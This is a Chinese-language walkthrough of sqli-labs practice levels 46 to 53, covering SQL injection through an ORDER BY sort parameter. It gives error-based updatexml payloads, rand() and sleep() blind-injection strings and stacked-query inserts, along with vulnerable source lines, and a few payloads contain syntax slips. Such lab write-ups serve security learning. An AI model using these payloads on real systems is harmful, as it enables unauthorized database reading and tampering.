sqli-labs(46-53)-order by注入
46数字型-报错注入
刚打开,题目意思是sort作为参数,进行赋值?
它会根据输入的第x个字段来排序
报错注入可以获取表信息,不演示了
sort=11 and updatexml(1,concat(0x7e,database(),0x7e),1)#
47单引号-报错注入
?sort=1
显示
?sort=1 and 1=1
显示
?sort=1 and 1=2
显示
?sort=1'
报错,字符串型,报错注入
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
后面又试了以下,发现无论输入什么值,排序总不改变,是因为单引号的作用吗?
源码关键语句:
$sql = "SELECT * FROM users ORDER BY '$id'";
48 rand()盲注,延时注入-数字型
数字型order by注入时,语句?sort=2 and 1=2
,和?sort=2 and 1=1
显示的结果一样,而用rand()会显示不同的结果
当在字符型中用?sort=rand()
,则不会有效果
?sort=1
显示
?sort=1 and 1=1
?sort=rand(1)
按下面顺序排列
?sort=rand(0)
,按下面顺序排列
接着使用rand(表达式)来盲注
?sort=rand(ascii(left(database(),1))=123)
等以此类推
?sort=rand(ascii(left((select table_name from information_schema.tables where table_schema='security'),2)))
表达式如果正确,就会显示rand(1)一样的排序
表达式如果错误,就会显示rand(0)一样的排序
或者延时注入
?sort=1 and if(ascii(left((select table_name from information_schema.tables where table_schema='security'),2)),0,sleep(1))
49 if()时间盲注-单引号
使用?sort=rand()
,每次刷新结果都一样,不是数字型
1" and if(1=1,sleep(1),1) and "1"="1
正常时间显示,不是双引号
?sort=1' and if(1=1,sleep(1),1) and '1'='1
延时显示,单引号字符型
接下来使用盲注来猜
?sort=1' and if((ascii(left(database,1))=123,sleep(1),1) and '1'='1
50堆叠,报错,rand()盲注-数字型
?sort=rand()
每次刷新排序都变化,数字型,可以用rand()盲注
或者报错注入
?sort=rand() and updatexml(1,concat(0x7e,database(),0x7e),1)
看看源码:
使用了mysqli_multy_query()
函数支持多条查询,因此可以堆叠注入
?sort=rand();insert into users values('19','123','111')
,数据插入成功
51 堆叠,报错,rand()盲注-单引号型
?sort=rand()
重复提交,排序结果不变,不是数字型
判断字符型是单引号,还是双引号,有无()
?sort=1'
报错了,单引号
接下来可以if()盲注,例如1' and if(length(database())>5,sleep(1),1) and '1'='1
先判断数据库长度,在逐步获得数据库名
也可以报错注入
看了看源码:也是使用多条查询,可以堆叠注入
52 rand()盲注,堆叠注入-盲注-数字型
?sort=rand()
每次提交,排序会变,数字型
不会报错,只能盲注
rand(表达式)
盲注
看看源码,有多条查询,堆叠注入
53 if()延时注入,堆叠注入-盲注-单引号
?sort=rand()
多次提交排序不变,字符型
?sort=1' and if(1=1,sleep(1),1) and '1'='1
有延时,说明是单引号字符型
使用if()延时注入,例如?sort=1' and if((length(database())>5),sleep(1),1) and '1'='1
源码中有多条查询语句,堆叠注入